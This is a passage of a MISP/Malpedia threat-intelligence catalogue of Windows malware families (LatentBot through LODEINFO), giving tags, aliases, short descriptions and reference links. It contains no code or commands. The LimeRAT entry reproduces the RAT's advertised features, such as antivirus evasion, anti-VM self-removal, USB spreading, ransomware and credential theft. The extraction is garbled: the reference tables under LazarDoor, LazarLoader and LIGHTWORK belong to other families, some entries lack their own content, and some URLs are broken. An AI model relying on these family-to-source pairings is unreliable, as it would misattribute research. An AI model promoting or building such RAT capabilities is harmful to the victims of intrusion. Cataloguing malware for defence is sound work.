The tag is: `misp-galaxy:malpedia="LatentBot"`

LatentBot is also known as:

Table 3405. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html">https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="http://malware-traffic-analysis.net/2017/04/25/index.html">http://malware-traffic-analysis.net/2017/04/25/index.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access">https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/">https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Laturu Stealer**

The tag is: `misp-galaxy:malpedia="Laturu Stealer"`

Laturu Stealer is also known as:

Table 3406. Table References
LazarDoor

The tag is: `misp-galaxy:malpedia="LazarDoor"`

LazarDoor is also known as:

Table 3407. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.latureo">https://malpedia.caad.fkie.fraunhofer.de/details/win.latureo</a></td>
</tr>
<tr>
<td><a href="https://seclists.org/snort/2019/q3/343">https://seclists.org/snort/2019/q3/343</a></td>
</tr>
</tbody>
</table>

LazarLoader

The tag is: `misp-galaxy:malpedia="LazarLoader"`

LazarLoader is also known as:

Table 3408. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/40495/">https://asec.ahnlab.com/ko/40495/</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/53832/">https://asec.ahnlab.com/ko/53832/</a></td>
</tr>
</tbody>
</table>

KillDisk (Lazarus)

The tag is: `misp-galaxy:malpedia="KillDisk (Lazarus)"`

KillDisk (Lazarus) is also known as:

- KillDisk.NBO

Table 3409. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk">https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk</a></td>
</tr>
</tbody>
</table>
### Laziok

The tag is: `misp-galaxy:malpedia="Laziok"`

Laziok is also known as:

**Table 3410. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok">https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken">https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken</a></td>
</tr>
</tbody>
</table>

### LazyCat

The tag is: `misp-galaxy:malpedia="LazyCat"`

LazyCat is also known as:

**Table 3411. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat">https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/">https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/</a></td>
</tr>
</tbody>
</table>

### LCPDot

The tag is: `misp-galaxy:malpedia="LCPDot"`

LCPDot is also known as:

**Table 3412. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot">https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html">https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-trojanized-defi-app/106195/">https://securelist.com/lazarus-trojanized-defi-app/106195/</a></td>
</tr>
</tbody>
</table>
LDR4

A further branch of the URSNIF collection of malware families. According to Mandiant, it no longer has focus on banking fraud but generic backdoor capabilities instead.

The tag is: `misp-galaxy:malpedia="LDR4"`

LDR4 is also known as:

Table 3413. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lrd4">https://malpedia.caad.fkie.fraunhofer.de/details/win.lrd4</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud">https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud</a></td>
</tr>
</tbody>
</table>

Leakthemall

Ransomware.

The tag is: `misp-galaxy:malpedia="Leakthemall"`

Leakthemall is also known as:

Table 3414. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.leakthemall">https://malpedia.caad.fkie.fraunhofer.de/details/win.leakthemall</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/09/leakthemall-ransomware.html">https://id-ransomware.blogspot.com/2020/09/leakthemall-ransomware.html</a></td>
</tr>
</tbody>
</table>

Leash

The tag is: `misp-galaxy:malpedia="Leash"`

Leash is also known as:

Table 3415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.leash">https://malpedia.caad.fkie.fraunhofer.de/details/win.leash</a></td>
</tr>
</tbody>
</table>
**Lemon Duck**

Lemon Duck is a monerocrypto-mining malware with capability to spread rapidly across the entire network. The malware runs its payload mainly in memory. Internal network spreading is performed by SMB RCE Vulnerability (CVE-2017-0144), or brute-force attacks.

The tag is: `misp-galaxy:malpedia="Lemon Duck"`

Lemon Duck is also known as:

*Table 3416. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck">https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/">https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/</a></td>
</tr>
<tr>
<td><a href="https://success.trendmicro.com/solution/000261916">https://success.trendmicro.com/solution/000261916</a></td>
</tr>
<tr>
<td><a href="https://cybotsai.com/lemon-duck-attack/">https://cybotsai.com/lemon-duck-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/">https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/</a></td>
</tr>
<tr>
<td><a href="https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html">https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html">https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html</a></td>
</tr>
</tbody>
</table>

**Leouncia**

The tag is: `misp-galaxy:malpedia="Leouncia"`
Leouncia is also known as:

- shoco

Table 3417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia">https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia</a></td>
</tr>
</tbody>
</table>

**Lethic**

Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.

The tag is: misp-galaxy:malpedia=“Lethic”

Lethic is also known as:

Table 3418. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic">https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic</a></td>
</tr>
<tr>
<td><a href="http://www.malware-traffic-analysis.net/2017/11/02/index.html">http://www.malware-traffic-analysis.net/2017/11/02/index.html</a></td>
</tr>
<tr>
<td><a href="http://resources.infosecinstitute.com/win32lethic-botnet-analysis/">http://resources.infosecinstitute.com/win32lethic-botnet-analysis/</a></td>
</tr>
</tbody>
</table>

**LetMeOut**

The tag is: misp-galaxy:malpedia=“LetMeOut”

LetMeOut is also known as:

Table 3419. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.letmeout">https://malpedia.caad.fkie.fraunhofer.de/details/win.letmeout</a></td>
</tr>
<tr>
<td><a href="http://blog.nsfocus.net/murenshark/">http://blog.nsfocus.net/murenshark/</a></td>
</tr>
</tbody>
</table>

**LgoogLoader**

LgoogLoader is an installer that drops three files: a batch file, an AutoIt interpreter, and an AutoIt script. After downloading, it executes the batch file.

The tag is: misp-galaxy:malpedia=“LgoogLoader”
LgoogLoader is also known as:

Table 3420. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lgoogloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.lgoogloader</a></td>
</tr>
<tr>
<td><a href="https://blog.polyswarm.io/nullmixer-drops-multiple-malware-families">https://blog.polyswarm.io/nullmixer-drops-multiple-malware-families</a></td>
</tr>
</tbody>
</table>

**Liderc**

The tag is: `misp-galaxy:malpedia="Liderc"`

Liderc is also known as:

- LEMPO

Table 3421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc">https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc</a></td>
</tr>
<tr>
<td><a href="https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media">https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media</a></td>
</tr>
</tbody>
</table>

**LIGHTBUNNY**

The tag is: `misp-galaxy:malpedia="LIGHTBUNNY"`

LIGHTBUNNY is also known as:

Table 3422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny">https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/unc961-multiverse-financeally-motivated">https://www.mandiant.com/resources/blog/unc961-multiverse-financeally-motivated</a></td>
</tr>
</tbody>
</table>

**LightNeuron**

The tag is: `misp-galaxy:malpedia="LightNeuron"`

LightNeuron is also known as:
Lightning Stealer

Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user’s data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration.

The tag is: *misp-galaxy:malpedia="Lightning Stealer"

Lightning Stealer is also known as:

Table 3424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lightning_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.lightning_stealer</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/04/05/inside-lightning-stealer/">https://blog.cyble.com/2022/04/05/inside-lightning-stealer/</a></td>
</tr>
</tbody>
</table>

LIGHTWORK

According to Mandiant, LIGHTWORK is a disruption tool written in C++ that implements the IEC-104 protocol to modify the state of RTUs over TCP. It crafts configurable IEC-104 ASDU messages, to change the state of RTU IOAs to ON or OFF. This sample works in tandem with PIEHOP, which sets up the execution.

The tag is: *misp-galaxy:malpedia="LIGHTWORK"

LIGHTWORK is also known as:

Table 3425. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron">https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/">https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/">https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments">https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-hunter">https://www.secureworks.com/research/threat-profiles/iron-hunter</a></td>
</tr>
</tbody>
</table>
Ligsterac

The tag is: misp-galaxy:malpedia="Ligsterac"

Ligsterac is also known as:

Table 3426. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ligsterac
https://securelist.com/atm-infecto/74772/
http://atm.cybercrime-tracker.net/index.php

Lilith

The tag is: misp-galaxy:malpedia="Lilith"

Lilith is also known as:

Table 3427. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/
https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/
limedownloader
The tag is: misp-galaxy:malpedia="limedownloader"

limedownloader is also known as:

Table 3428. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limedownloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.limedownloader</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/NYAN-x-CAT/Lime-Downloader">https://github.com/NYAN-x-CAT/Lime-Downloader</a></td>
<td></td>
</tr>
</tbody>
</table>

limeminer
The tag is: misp-galaxy:malpedia="limeminer"

limeminer is also known as:

Table 3429. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limeminer">https://malpedia.caad.fkie.fraunhofer.de/details/win.limeminer</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/NYAN-x-CAT/Lime-Miner">https://github.com/NYAN-x-CAT/Lime-Miner</a></td>
<td></td>
</tr>
</tbody>
</table>

LimePad
The tag is: misp-galaxy:malpedia="LimePad"

LimePad is also known as:

Table 3430. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limepad">https://malpedia.caad.fkie.fraunhofer.de/details/win.limepad</a></td>
<td></td>
</tr>
</tbody>
</table>

LimeRAT

### Description
Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, it should give you a general knowledge about dotNET malwares and how it...
Main Features

- **.NET**
  - Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0

- **Connection**
  - Using pastebin.com as ip:port, Instead of noip.com DNS. And Also using multi-ports

- **Plugin**
  - Using plugin system to decrease stub’s size and lower the AV detection

- **Encryption**
  - The communication between server & client is encrypted with AES

- **Spreading**
  - Infecting all files and folders on USB drivers

- **Bypass**
  - Low AV detection and undetected startup method

- **Lightweight**
  - Payload size is about 25 KB

- **Anti Virtual Machines**
  - Uninstall itself if the machine is virtual to avoid scanning or analyzing

- **Ransomware**
  - Encrypting files on all HHD and USB with .Lime extension

- **XMR Miner**
  - High performance Monero CPU miner with user idle\active optimizations

- **DDoS**
  - Creating a powerful DDOS attack to make an online service unavailable

- **Crypto Stealer**
  - Stealing Cryptocurrency sensitive data

- **Screen-Locker**
  - Prevents user from accessing their Windows GUI

- **And more**
  - On Connect Auto Task
  - Force enable Windows RDP
  - Persistence
• File manager
• Passwords stealer
• Remote desktop
• Bitcoin grabber
• Downloader
• Keylogger

The tag is: misp-galaxy:malpedia="LimeRAT"

LimeRAT is also known as:

Table 3431. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat</a></td>
</tr>
<tr>
<td><a href="https://github.com/NYAN-x-CAT/Lime-RAT/">https://github.com/NYAN-x-CAT/Lime-RAT/</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service">https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=x-g-ZLeX8GM">https://www.youtube.com/watch?v=x-g-ZLeX8GM</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/04/asycrat-3losh-update.html">https://blog.talosintelligence.com/2022/04/asycrat-3losh-update.html</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/rats-in-the-library">https://blog.reversinglabs.com/blog/rats-in-the-library</a></td>
</tr>
<tr>
<td><a href="https://felipetarijon.github.io/2022-12-12-limerat-infecting-unskilled-threat-actors/">https://felipetarijon.github.io/2022-12-12-limerat-infecting-unskilled-threat-actors/</a></td>
</tr>
<tr>
<td><a href="https://any.run/cybersecurity-blog/limerat-malware-analysis/">https://any.run/cybersecurity-blog/limerat-malware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/apt-c-36-recent-activity-analysis/">https://lab52.io/blog/apt-c-36-recent-activity-analysis/</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/">https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/limerat-spreads-in-the-wild/">https://blog.yoroi.company/research/limerat-spreads-in-the-wild/</a></td>
</tr>
</tbody>
</table>
**Limitail**

The tag is: `misp-galaxy:malpedia="Limitail"`

Limitail is also known as:

<table>
<thead>
<tr>
<th>Table 3432. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

**LinseningSvr**

The tag is: `misp-galaxy:malpedia="LinseningSvr"`

LinseningSvr is also known as:

<table>
<thead>
<tr>
<th>Table 3433. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

**Listrix**

The tag is: `misp-galaxy:malpedia="Listrix"`

Listrix is also known as:

<table>
<thead>
<tr>
<th>Table 3434. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix">https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix</a></td>
</tr>
</tbody>
</table>

**LiteDuke**

According to CarbonBlack, LiteDuke is a third stage backdoor. It appears to use the same dropper as PolyglotDuke. Its payload makes use of an AES encrypted SQLite database to store its configuration. LiteDuke supports a large number of individual commands including host information retrieval, file upload and download, and the ability to execute other code. LiteDuke C2 servers appear to be compromised servers, and the malware communicates with them using normal HTTP requests. It attempts to use a realistic User-Agent string to blend in better with normal HTTP traffic. ESET have dubbed it LiteDuke because it uses SQLite to store information such as its configuration.
The tag is: misp-galaxy:malpedia="LiteDuke"

LiteDuke is also known as:

Table 3435. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke</a></td>
</tr>
<tr>
<td><a href="https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/">https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/looking-back-at-liteduke/">https://norfolkinfosec.com/looking-back-at-liteduke/</a></td>
</tr>
</tbody>
</table>

**LiteHTTP**

According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system.

The source is on GitHub: https://github.com/zettabithf/LiteHTTP

The tag is: misp-galaxy:malpedia="LiteHTTP"

LiteHTTP is also known as:

Table 3436. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp">https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp</a></td>
</tr>
<tr>
<td><a href="https://github.com/zettabithf/LiteHTTP">https://github.com/zettabithf/LiteHTTP</a></td>
</tr>
<tr>
<td><a href="https://viriback.com/recent-litehttp-activities-and-iocs/">https://viriback.com/recent-litehttp-activities-and-iocs/</a></td>
</tr>
<tr>
<td><a href="https://malware.news/t/recent-litehttp-activities-and-iocs/21053">https://malware.news/t/recent-litehttp-activities-and-iocs/21053</a></td>
</tr>
</tbody>
</table>

**LOBSHOT**

According to PCrisk, LOBSHOT is a type of malware with a feature called hVNC (Hidden Virtual Network Computing) that allows attackers to access a victim's computer without being noticed. The hVNC component is effective in evading fraud detection systems. Also, LOBSHOT is being used to carry out financial crimes through the use of banking trojan and information-stealing functionalities.

The tag is: misp-galaxy:malpedia="LOBSHOT"

LOBSHOT is also known as:

Table 3437. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot">https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot</a></td>
</tr>
</tbody>
</table>
LockBit (Windows)

The tag is: `misp-galaxy:malpedia="LockBit (Windows)"

LockBit (Windows) is also known as:

- ABCD Ransomware

Table 3438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit">https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-e">https://www.mandiant.com/resources/unc2165-shifts-to-e</a> evade-sanctions</td>
</tr>
<tr>
<td><a href="https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/">https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/">https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/">https://www.intrinsec.com/</a> alphv-ransomware-gang-analysis</td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a">https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/sites/default/files/2023-06/aa23-165a_understanding_TA_LockBit_0.pdf">https://www.cisa.gov/sites/default/files/2023-06/aa23-165a_understanding_TA_LockBit_0.pdf</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker">https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker</a></td>
</tr>
</tbody>
</table>

1470
LockerGoga

According to Trend Micro, LockerGoga is a ransomware that has been used in multiple attacks, most notably against Altran Technologies and Norsk Hydro. It encrypts a range of documents and source code files but certain versions had little to no whitelist that would protect import system files such as the Windows Boot Manager.

The tag is: `misp-galaxy:malpedia="LockerGoga"`

LockerGoga is also known as:

Table 3439. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga">https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot">https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/lockergoga/">https://blog.talosintelligence.com/lockergoga/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=o6eEN0mUakM">https://www.youtube.com/watch?v=o6eEN0mUakM</a></td>
</tr>
</tbody>
</table>
LockFile

A ransomware first observed in July 2021.

The tag is: misp-galaxy:malpedia="LockFile"

LockFile is also known as:

Table 3440. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile">https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VirITeXplorer/status/1428750497872232459">https://twitter.com/VirITeXplorer/status/1428750497872232459</a></td>
</tr>
</tbody>
</table>
Locky

Locky is a high profile ransomware family that first appeared in early 2016 and was observed being active until end of 2017. It encrypts files on the victim system and asks for ransom in order to have back original files. In its first version it added a .locky extension to the encrypted files, and in recent versions it added the .lukitus extension. The ransom amount is defined in BTC and depends on the actor.

The tag is: misp-galaxy:malpedia="Locky"

Locky is also known as:

Table 3441. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.locky
https://dissectingmalwa.re/picking-locky.html
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html
https://intel471.com/blog/a-brief-history-of-ta505
Locky (Decryptor)

The tag is: misp-galaxy:malpedia="Locky (Decryptor)"

Locky (Decryptor) is also known as:

**Table 3442. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor">https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor</a></td>
</tr>
</tbody>
</table>

**Locky Loader**

For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.
The tag is: `misp-galaxy:malpedia="Locky Loader"`

Locky Loader is also known as:

Table 3443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader</a></td>
</tr>
</tbody>
</table>

**LockPOS**

The tag is: `misp-galaxy:malpedia="LockPOS"`

LockPOS is also known as:

Table 3444. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos</a></td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/">https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/</a></td>
</tr>
</tbody>
</table>

**Loda**

Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.

The tag is: `misp-galaxy:malpedia="Loda"`

Loda is also known as:

- LodaRAT
- Nymeria

Table 3445. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.loda">https://malpedia.caad.fkie.fraunhofer.de/details/win.loda</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA">https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html">https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html</a></td>
</tr>
</tbody>
</table>
LODEINFO

The tag is: misp-galaxy:malpedia="LODEINFO"

LODEINFO is also known as:

Table 3446. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo
https://twitter.com/jpcert_ac/status/1351355443730255872
https://www.cyberandramen.net/2020/06/analysis-of-lodeinfo-maldoc.html
https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalfce-targeting-japanese-political-entities/
